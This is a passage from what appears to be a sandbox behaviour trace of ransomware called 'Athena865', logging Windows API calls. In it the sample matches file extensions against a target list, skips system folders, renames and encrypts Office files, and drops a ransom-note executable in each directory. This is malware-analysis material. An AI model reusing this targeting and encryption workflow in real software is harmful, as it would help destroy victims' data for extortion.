lstrcmpiW (lpString1="est", lpString2="odb") returned -1 [0072.155] lstrlenW (lpString="odb") returned 3 [0072.155] lstrcmpiW (lpString1="est", lpString2="odb") returned -1 [0072.155] lstrlenW (lpString="oqy") returned 3 [0072.156] lstrcmpiW (lpString1="est", lpString2="oqy") returned -1 [0072.156] lstrlenW (lpString="ora") returned 3 [0072.156] lstrcmpiW (lpString1="est", lpString2="ora") returned -1 [0072.156] lstrlenW (lpString="orx") returned 3 [0072.156] lstrcmpiW (lpString1="est", lpString2="orx") returned -1 [0072.156] lstrlenW (lpString="owc") returned 3 [0072.156] lstrcmpiW (lpString1="est", lpString2="owc") returned -1 [0072.156] lstrlenW (lpString="p96") returned 3 [0072.156] lstrcmpiW (lpString1="est", lpString2="p96") returned -1 [0072.156] lstrlenW (lpString="p97") returned 3 [0072.156] lstrcmpiW (lpString1="est", lpString2="p97") returned -1 [0072.156] lstrlenW (lpString="pan") returned 3 [0072.156] lstrcmpiW (lpString1="est", lpString2="pan") returned -1 [0072.156] lstrlenW (lpString="pdb") returned 3 [0072.156] lstrcmpiW (lpString1="est", lpString2="pdb") returned -1 [0072.156] lstrlenW (lpString="pdm") returned 3 [0072.156] lstrcmpiW (lpString1="est", lpString2="pdm") returned -1 [0072.156] lstrlenW (lpString="pnz") returned 3 [0072.156] lstrcmpiW (lpString1="est", lpString2="pnz") returned -1 [0072.156] lstrlenW (lpString="qry") returned 3 [0072.156] lstrcmpiW (lpString1="est", lpString2="qry") returned -1 [0072.156] lstrlenW (lpString="qvd") returned 3 [0072.156] lstrcmpiW (lpString1="est", lpString2="qvd") returned -1 [0072.156] lstrlenW (lpString="rbf") returned 3 [0072.156] lstrcmpiW (lpString1="est", lpString2="rbf") returned -1 [0072.156] lstrlenW (lpString="rctd") returned 4 [0072.156] lstrcmpiW (lpString1="fest", lpString2="rctd") returned -1 [0072.156] lstrlenW (lpString="rod") returned 3 [0072.156] lstrcmpiW (lpString1="est", lpString2="rod") returned -1 [0072.156] lstrlenW (lpString="rodx") returned 4 [0072.156] lstrcmpiW (lpString1="fest", lpString2="rodx") returned -1 [0072.156] lstrlenW (lpString="rpd") returned 3 [0072.156] lstrcmpiW (lpString1="est", lpString2="rpd") returned -1 [0072.156] lstrlenW (lpString="rsd") returned 3 [0072.157] lstrcmpiW (lpString1="est", lpString2="rsd") returned -1 [0072.157] lstrlenW (lpString="sas7bdat") returned 8 [0072.157] lstrcmpiW (lpString1="manifest", lpString2="sas7bdat") returned -1 [0072.157] lstrlenW (lpString="sbf") returned 3 [0072.157] lstrcmpiW (lpString1="est", lpString2="sbf") returned -1 [0072.157] lstrlenW (lpString="scx") returned 3 [0072.157] lstrcmpiW (lpString1="est", lpString2="scx") returned -1 [0072.157] lstrlenW (lpString="sdb") returned 3 [0072.157] lstrcmpiW (lpString1="est", lpString2="sdb") returned -1 [0072.157] lstrlenW (lpString="sdc") returned 3 [0072.157] lstrcmpiW (lpString1="est", lpString2="sdc") returned -1 [0072.157] lstrlenW (lpString="sdf") returned 3 [0072.157] lstrcmpiW (lpString1="est", lpString2="sdf") returned -1 [0072.157] lstrlenW (lpString="sis") returned 3 [0072.157] lstrcmpiW (lpString1="est", lpString2="sis") returned -1 [0072.157] lstrlenW (lpString="spq") returned 3 [0072.157] lstrcmpiW (lpString1="est", lpString2="spq") returned -1 [0072.157] lstrlenW (lpString="te") returned 2 [0072.157] lstrcmpiW (lpString1="st", lpString2="te") returned -1 [0072.157] lstrlenW (lpString="teacher") returned 7 [0072.157] lstrcmpiW (lpString1="anifest", lpString2="teacher") returned -1 [0072.157] lstrlenW (lpString="tmd") returned 3 [0072.157] lstrcmpiW (lpString1="est", lpString2="tmd") returned -1 [0072.157] lstrlenW (lpString="tps") returned 3 [0072.157] lstrcmpiW (lpString1="est", lpString2="tps") returned -1 [0072.157] lstrlenW (lpString="trc") returned 3 [0072.157] lstrcmpiW (lpString1="est", lpString2="trc") returned -1 [0072.157] lstrlenW (lpString="trc") returned 3 [0072.157] lstrcmpiW (lpString1="est", lpString2="trc") returned -1 [0072.157] lstrlenW (lpString="trm") returned 3 [0072.157] lstrcmpiW (lpString1="est", lpString2="trm") returned -1 [0072.157] lstrlenW (lpString="udb") returned 3 [0072.157] lstrcmpiW (lpString1="est", lpString2="udb") returned -1 [0072.157] lstrlenW (lpString="udl") returned 3 [0072.157] lstrcmpiW (lpString1="est", lpString2="udl") returned -1 [0072.157] lstrlenW (lpString="usr") returned 3 [0072.158] lstrcmpiW (lpString1="est", lpString2="usr") returned -1 [0072.158] lstrlenW (lpString="v12") returned 3 [0072.158] lstrcmpiW (lpString1="est", lpString2="v12") returned -1 [0072.158] lstrlenW (lpString="vis") returned 3 [0072.158] lstrcmpiW (lpString1="est", lpString2="vis") returned -1 [0072.158] lstrlenW (lpString="vpd") returned 3 [0072.158] lstrcmpiW (lpString1="est", lpString2="vpd") returned -1 [0072.158] lstrlenW (lpString="vvv") returned 3 [0072.158] lstrcmpiW (lpString1="est", lpString2="vvv") returned -1 [0072.158] lstrlenW (lpString="wdb") returned 3 [0072.158] lstrcmpiW (lpString1="est", lpString2="wdb") returned -1 [0072.158] lstrlenW (lpString="wmdb") returned 4 [0072.158] lstrcmpiW (lpString1="fest", lpString2="wmdb") returned -1 [0072.158] lstrlenW (lpString="wrk") returned 3 [0072.158] lstrcmpiW (lpString1="est", lpString2="wrk") returned -1 [0072.158] lstrlenW (lpString="xdb") returned 3 [0072.158] lstrcmpiW (lpString1="est", lpString2="xdb") returned -1 [0072.158] lstrlenW (lpString="xld") returned 3 [0072.158] lstrcmpiW (lpString1="est", lpString2="xld") returned -1 [0072.158] lstrlenW (lpString="xmlff") returned 5 [0072.158] lstrcmpiW (lpString1="ifest", lpString2="xmlff") returned -1 [0072.158] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\Graph.exe.manifest.Athena865") returned 71 [0072.158] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Graph.exe.manifest" (normalized: "c:\\program files\\microsoft office\\office14\\graph.exe.manifest"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Graph.exe.manifest.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\graph.exe.manifest.athena865"), dwFlags=0x1) returned 1 [0072.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Graph.exe.manifest.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\graph.exe.manifest.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0072.160] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=960) returned 1 [0072.160] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0072.161] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0072.161] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0072.161] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0072.161] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0072.161] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0072.162] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6c0, lpName=0x0) returned 0x17c [0072.163] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6c0) returned 0x100000 [0072.164] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0072.165] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0072.165] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0072.165] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0072.165] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0072.165] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0072.165] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0072.165] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0072.165] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0072.165] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0072.165] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0072.165] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0072.165] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0072.166] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0072.166] CloseHandle (hObject=0x17c) returned 1 [0072.166] CloseHandle (hObject=0x154) returned 1 [0072.166] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0072.166] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0072.166] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0072.166] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32f5d600, ftCreationTime.dwHighDateTime=0x1c3b950, ftLastAccessTime.dwLowDateTime=0x61a91a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x32f5d600, ftLastWriteTime.dwHighDateTime=0x1c3b950, nFileSizeHigh=0x0, nFileSizeLow=0x2fe, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GRAPH.ICO", cAlternateFileName="")) returned 1 [0072.166] lstrcmpiW (lpString1="GRAPH.ICO", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0072.166] lstrcmpiW (lpString1="GRAPH.ICO", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0072.166] lstrcmpiW (lpString1="GRAPH.ICO", lpString2=".") returned 1 [0072.166] lstrcmpiW (lpString1="GRAPH.ICO", lpString2="..") returned 1 [0072.166] lstrcmpiW (lpString1="GRAPH.ICO", lpString2="windows") returned -1 [0072.166] lstrcmpiW (lpString1="GRAPH.ICO", lpString2="bootmgr") returned 1 [0072.166] lstrcmpiW (lpString1="GRAPH.ICO", lpString2="temp") returned -1 [0072.166] lstrcmpiW (lpString1="GRAPH.ICO", lpString2="pagefile.sys") returned -1 [0072.166] lstrcmpiW (lpString1="GRAPH.ICO", lpString2="boot") returned 1 [0072.166] lstrcmpiW (lpString1="GRAPH.ICO", lpString2="ids.txt") returned -1 [0072.166] lstrcmpiW (lpString1="GRAPH.ICO", lpString2="ntuser.dat") returned -1 [0072.166] lstrcmpiW (lpString1="GRAPH.ICO", lpString2="perflogs") returned -1 [0072.166] lstrcmpiW (lpString1="GRAPH.ICO", lpString2="MSBuild") returned -1 [0072.166] lstrlenW (lpString="GRAPH.ICO") returned 9 [0072.166] lstrcpyW (in: lpString1=0x241e89e, lpString2="GRAPH.ICO" | out: lpString1="GRAPH.ICO") returned="GRAPH.ICO" [0072.166] lstrlenW (lpString="GRAPH.ICO") returned 9 [0072.166] lstrlenW (lpString="Athena865") returned 9 [0072.166] lstrlenW (lpString=".dll") returned 4 [0072.167] lstrcmpiW (lpString1="GRAPH.ICO", lpString2=".dll") returned 1 [0072.167] lstrlenW (lpString=".lnk") returned 4 [0072.167] lstrcmpiW (lpString1="GRAPH.ICO", lpString2=".lnk") returned 1 [0072.167] lstrlenW (lpString=".ini") returned 4 [0072.167] lstrcmpiW (lpString1="GRAPH.ICO", lpString2=".ini") returned 1 [0072.167] lstrlenW (lpString=".sys") returned 4 [0072.167] lstrcmpiW (lpString1="GRAPH.ICO", lpString2=".sys") returned 1 [0072.167] lstrlenW (lpString="GRAPH.ICO") returned 9 [0072.167] lstrlenW (lpString="bak") returned 3 [0072.167] lstrcmpiW (lpString1="ICO", lpString2="bak") returned 1 [0072.167] lstrlenW (lpString="ba_") returned 3 [0072.167] lstrcmpiW (lpString1="ICO", lpString2="ba_") returned 1 [0072.167] lstrlenW (lpString="dbb") returned 3 [0072.167] lstrcmpiW (lpString1="ICO", lpString2="dbb") returned 1 [0072.167] lstrlenW (lpString="vmdk") returned 4 [0072.167] lstrcmpiW (lpString1=".ICO", lpString2="vmdk") returned -1 [0072.167] lstrlenW (lpString="rar") returned 3 [0072.167] lstrcmpiW (lpString1="ICO", lpString2="rar") returned -1 [0072.167] lstrlenW (lpString="zip") returned 3 [0072.167] lstrcmpiW (lpString1="ICO", lpString2="zip") returned -1 [0072.167] lstrlenW (lpString="tgz") returned 3 [0072.167] lstrcmpiW (lpString1="ICO", lpString2="tgz") returned -1 [0072.167] lstrlenW (lpString="vbox") returned 4 [0072.167] lstrcmpiW (lpString1=".ICO", lpString2="vbox") returned -1 [0072.167] lstrlenW (lpString="vdi") returned 3 [0072.167] lstrcmpiW (lpString1="ICO", lpString2="vdi") returned -1 [0072.167] lstrlenW (lpString="vhd") returned 3 [0072.167] lstrcmpiW (lpString1="ICO", lpString2="vhd") returned -1 [0072.167] lstrlenW (lpString="vhdx") returned 4 [0072.167] lstrcmpiW (lpString1=".ICO", lpString2="vhdx") returned -1 [0072.167] lstrlenW (lpString="avhd") returned 4 [0072.167] lstrcmpiW (lpString1=".ICO", lpString2="avhd") returned -1 [0072.168] lstrlenW (lpString="db") returned 2 [0072.168] lstrcmpiW (lpString1="CO", lpString2="db") returned -1 [0072.168] lstrlenW (lpString="db2") returned 3 [0072.168] lstrcmpiW (lpString1="ICO", lpString2="db2") returned 1 [0072.168] lstrlenW (lpString="db3") returned 3 [0072.168] lstrcmpiW (lpString1="ICO", lpString2="db3") returned 1 [0072.168] lstrlenW (lpString="dbf") returned 3 [0072.168] lstrcmpiW (lpString1="ICO", lpString2="dbf") returned 1 [0072.168] lstrlenW (lpString="mdf") returned 3 [0072.168] lstrcmpiW (lpString1="ICO", lpString2="mdf") returned -1 [0072.168] lstrlenW (lpString="mdb") returned 3 [0072.168] lstrcmpiW (lpString1="ICO", lpString2="mdb") returned -1 [0072.168] lstrlenW (lpString="sql") returned 3 [0072.168] lstrcmpiW (lpString1="ICO", lpString2="sql") returned -1 [0072.168] lstrlenW (lpString="sqlite") returned 6 [0072.168] lstrcmpiW (lpString1="PH.ICO", lpString2="sqlite") returned -1 [0072.168] lstrlenW (lpString="sqlite3") returned 7 [0072.168] lstrcmpiW (lpString1="APH.ICO", lpString2="sqlite3") returned -1 [0072.168] lstrlenW (lpString="sqlitedb") returned 8 [0072.168] lstrcmpiW (lpString1="RAPH.ICO", lpString2="sqlitedb") returned -1 [0072.168] lstrlenW (lpString="xml") returned 3 [0072.168] lstrcmpiW (lpString1="ICO", lpString2="xml") returned -1 [0072.168] lstrlenW (lpString="$er") returned 3 [0072.168] lstrcmpiW (lpString1="ICO", lpString2="$er") returned 1 [0072.168] lstrlenW (lpString="4dd") returned 3 [0072.168] lstrcmpiW (lpString1="ICO", lpString2="4dd") returned 1 [0072.168] lstrlenW (lpString="4dl") returned 3 [0072.168] lstrcmpiW (lpString1="ICO", lpString2="4dl") returned 1 [0072.168] lstrlenW (lpString="^^^") returned 3 [0072.168] lstrcmpiW (lpString1="ICO", lpString2="^^^") returned 1 [0072.168] lstrlenW (lpString="abs") returned 3 [0072.168] lstrcmpiW (lpString1="ICO", lpString2="abs") returned 1 [0072.169] lstrlenW (lpString="abx") returned 3 [0072.169] lstrcmpiW (lpString1="ICO", lpString2="abx") returned 1 [0072.169] lstrlenW (lpString="accdb") returned 5 [0072.169] lstrcmpiW (lpString1="H.ICO", lpString2="accdb") returned 1 [0072.169] lstrlenW (lpString="accdc") returned 5 [0072.169] lstrcmpiW (lpString1="H.ICO", lpString2="accdc") returned 1 [0072.169] lstrlenW (lpString="accde") returned 5 [0072.169] lstrcmpiW (lpString1="H.ICO", lpString2="accde") returned 1 [0072.169] lstrlenW (lpString="accdr") returned 5 [0072.169] lstrcmpiW (lpString1="H.ICO", lpString2="accdr") returned 1 [0072.169] lstrlenW (lpString="accdt") returned 5 [0072.169] lstrcmpiW (lpString1="H.ICO", lpString2="accdt") returned 1 [0072.169] lstrlenW (lpString="accdw") returned 5 [0072.169] lstrcmpiW (lpString1="H.ICO", lpString2="accdw") returned 1 [0072.169] lstrlenW (lpString="accft") returned 5 [0072.169] lstrcmpiW (lpString1="H.ICO", lpString2="accft") returned 1 [0072.169] lstrlenW (lpString="adb") returned 3 [0072.169] lstrcmpiW (lpString1="ICO", lpString2="adb") returned 1 [0072.169] lstrlenW (lpString="adb") returned 3 [0072.169] lstrcmpiW (lpString1="ICO", lpString2="adb") returned 1 [0072.169] lstrlenW (lpString="ade") returned 3 [0072.169] lstrcmpiW (lpString1="ICO", lpString2="ade") returned 1 [0072.169] lstrlenW (lpString="adf") returned 3 [0072.169] lstrcmpiW (lpString1="ICO", lpString2="adf") returned 1 [0072.169] lstrlenW (lpString="adn") returned 3 [0072.169] lstrcmpiW (lpString1="ICO", lpString2="adn") returned 1 [0072.169] lstrlenW (lpString="adp") returned 3 [0072.169] lstrcmpiW (lpString1="ICO", lpString2="adp") returned 1 [0072.169] lstrlenW (lpString="alf") returned 3 [0072.169] lstrcmpiW (lpString1="ICO", lpString2="alf") returned 1 [0072.169] lstrlenW (lpString="ask") returned 3 [0072.169] lstrcmpiW (lpString1="ICO", lpString2="ask") returned 1 [0072.169] lstrlenW (lpString="btr") returned 3 [0072.169] lstrcmpiW (lpString1="ICO", lpString2="btr") returned 1 [0072.169] lstrlenW (lpString="cat") returned 3 [0072.170] lstrcmpiW (lpString1="ICO", lpString2="cat") returned 1 [0072.170] lstrlenW (lpString="cdb") returned 3 [0072.170] lstrcmpiW (lpString1="ICO", lpString2="cdb") returned 1 [0072.170] lstrlenW (lpString="ckp") returned 3 [0072.170] lstrcmpiW (lpString1="ICO", lpString2="ckp") returned 1 [0072.170] lstrlenW (lpString="cma") returned 3 [0072.170] lstrcmpiW (lpString1="ICO", lpString2="cma") returned 1 [0072.170] lstrlenW (lpString="cpd") returned 3 [0072.170] lstrcmpiW (lpString1="ICO", lpString2="cpd") returned 1 [0072.170] lstrlenW (lpString="dacpac") returned 6 [0072.170] lstrcmpiW (lpString1="PH.ICO", lpString2="dacpac") returned 1 [0072.170] lstrlenW (lpString="dad") returned 3 [0072.170] lstrcmpiW (lpString1="ICO", lpString2="dad") returned 1 [0072.170] lstrlenW (lpString="dadiagrams") returned 10 [0072.170] lstrlenW (lpString="daschema") returned 8 [0072.170] lstrcmpiW (lpString1="RAPH.ICO", lpString2="daschema") returned 1 [0072.170] lstrlenW (lpString="db-journal") returned 10 [0072.170] lstrlenW (lpString="db-shm") returned 6 [0072.170] lstrcmpiW (lpString1="PH.ICO", lpString2="db-shm") returned 1 [0072.170] lstrlenW (lpString="db-wal") returned 6 [0072.170] lstrcmpiW (lpString1="PH.ICO", lpString2="db-wal") returned 1 [0072.170] lstrlenW (lpString="dbc") returned 3 [0072.170] lstrcmpiW (lpString1="ICO", lpString2="dbc") returned 1 [0072.170] lstrlenW (lpString="dbs") returned 3 [0072.170] lstrcmpiW (lpString1="ICO", lpString2="dbs") returned 1 [0072.170] lstrlenW (lpString="dbt") returned 3 [0072.170] lstrcmpiW (lpString1="ICO", lpString2="dbt") returned 1 [0072.170] lstrlenW (lpString="dbv") returned 3 [0072.170] lstrcmpiW (lpString1="ICO", lpString2="dbv") returned 1 [0072.170] lstrlenW (lpString="dbx") returned 3 [0072.170] lstrcmpiW (lpString1="ICO", lpString2="dbx") returned 1 [0072.170] lstrlenW (lpString="dcb") returned 3 [0072.170] lstrcmpiW (lpString1="ICO", lpString2="dcb") returned 1 [0072.171] lstrcmpiW (lpString1="ICO", lpString2="dct") returned 1 [0072.171] lstrcmpiW (lpString1="ICO", lpString2="dcx") returned 1 [0072.171] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\GRAPH.ICO.Athena865") returned 62 [0072.171] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\GRAPH.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\graph.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\GRAPH.ICO.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\graph.ico.athena865"), dwFlags=0x1) returned 1 [0072.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GRAPH.ICO.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\graph.ico.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0072.172] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=766) returned 1 [0072.172] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0072.173] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0072.173] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0072.173] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0072.173] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0072.173] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0072.174] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x600, lpName=0x0) returned 0x17c [0072.175] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x600) returned 0x100000 [0072.176] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0072.177] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0072.177] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0072.177] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0072.177] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0072.177] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0072.177] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0072.177] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0072.177] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0072.177] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0072.177] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0072.177] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0072.177] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0072.177] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0072.177] CloseHandle (hObject=0x17c) returned 1 [0072.177] CloseHandle (hObject=0x154) returned 1 [0072.177] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0072.177] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0072.178] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0072.178] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x582abeb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x582abeb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Groove", cAlternateFileName="")) returned 1 [0072.178] lstrcmpiW (lpString1="Groove", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0072.178] lstrcmpiW (lpString1="Groove", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0072.178] lstrcmpiW (lpString1="Groove", lpString2=".") returned 1 [0072.178] lstrcmpiW (lpString1="Groove", lpString2="..") returned 1 [0072.178] lstrcmpiW (lpString1="Groove", lpString2="windows") returned -1 [0072.178] lstrcmpiW (lpString1="Groove", lpString2="bootmgr") returned 1 [0072.178] lstrcmpiW (lpString1="Groove", lpString2="temp") returned -1 [0072.178] lstrcmpiW (lpString1="Groove", lpString2="pagefile.sys") returned -1 [0072.178] lstrcmpiW (lpString1="Groove", lpString2="boot") returned 1 [0072.178] lstrcmpiW (lpString1="Groove", lpString2="ids.txt") returned -1 [0072.178] lstrcmpiW (lpString1="Groove", lpString2="ntuser.dat") returned -1 [0072.178] lstrcmpiW (lpString1="Groove", lpString2="perflogs") returned -1 [0072.178] lstrcmpiW (lpString1="Groove", lpString2="MSBuild") returned -1 [0072.178] lstrlenW (lpString="Groove") returned 6 [0072.178] lstrcpyW (in: lpString1=0x241e89e, lpString2="Groove" | out: lpString1="Groove") returned="Groove" [0072.178] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x509008 [0072.178] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x64) returned 0x539fc0 [0072.178] lstrcatW (in: lpString1="Groove", lpString2="\\" | out: lpString1="Groove\\") returned="Groove\\" [0072.178] lstrcatW (in: lpString1="Groove\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Groove\\HOW TO BACK YOUR FILES.exe") returned="Groove\\HOW TO BACK YOUR FILES.exe" [0072.178] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\how to back your files.exe"), bFailIfExists=1) returned 1 [0072.182] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6fd7600, ftCreationTime.dwHighDateTime=0x1cacbb3, ftLastAccessTime.dwLowDateTime=0x52fce0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6fd7600, ftLastWriteTime.dwHighDateTime=0x1cacbb3, nFileSizeHigh=0x0, nFileSizeLow=0x3112b78, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GROOVE.EXE", cAlternateFileName="")) returned 1 [0072.182] lstrcmpiW (lpString1="GROOVE.EXE", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0072.182] lstrcmpiW (lpString1="GROOVE.EXE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0072.182] lstrcmpiW (lpString1="GROOVE.EXE", lpString2=".") returned 1 [0072.182] lstrcmpiW (lpString1="GROOVE.EXE", lpString2="..") returned 1 [0072.182] lstrcmpiW (lpString1="GROOVE.EXE", lpString2="windows") returned -1 [0072.182] lstrcmpiW (lpString1="GROOVE.EXE", lpString2="bootmgr") returned 1 [0072.182] lstrcmpiW (lpString1="GROOVE.EXE", lpString2="temp") returned -1 [0072.182] lstrcmpiW (lpString1="GROOVE.EXE", lpString2="pagefile.sys") returned -1 [0072.182] lstrcmpiW (lpString1="GROOVE.EXE", lpString2="boot") returned 1 [0072.182] lstrcmpiW (lpString1="GROOVE.EXE", lpString2="ids.txt") returned -1 [0072.182] 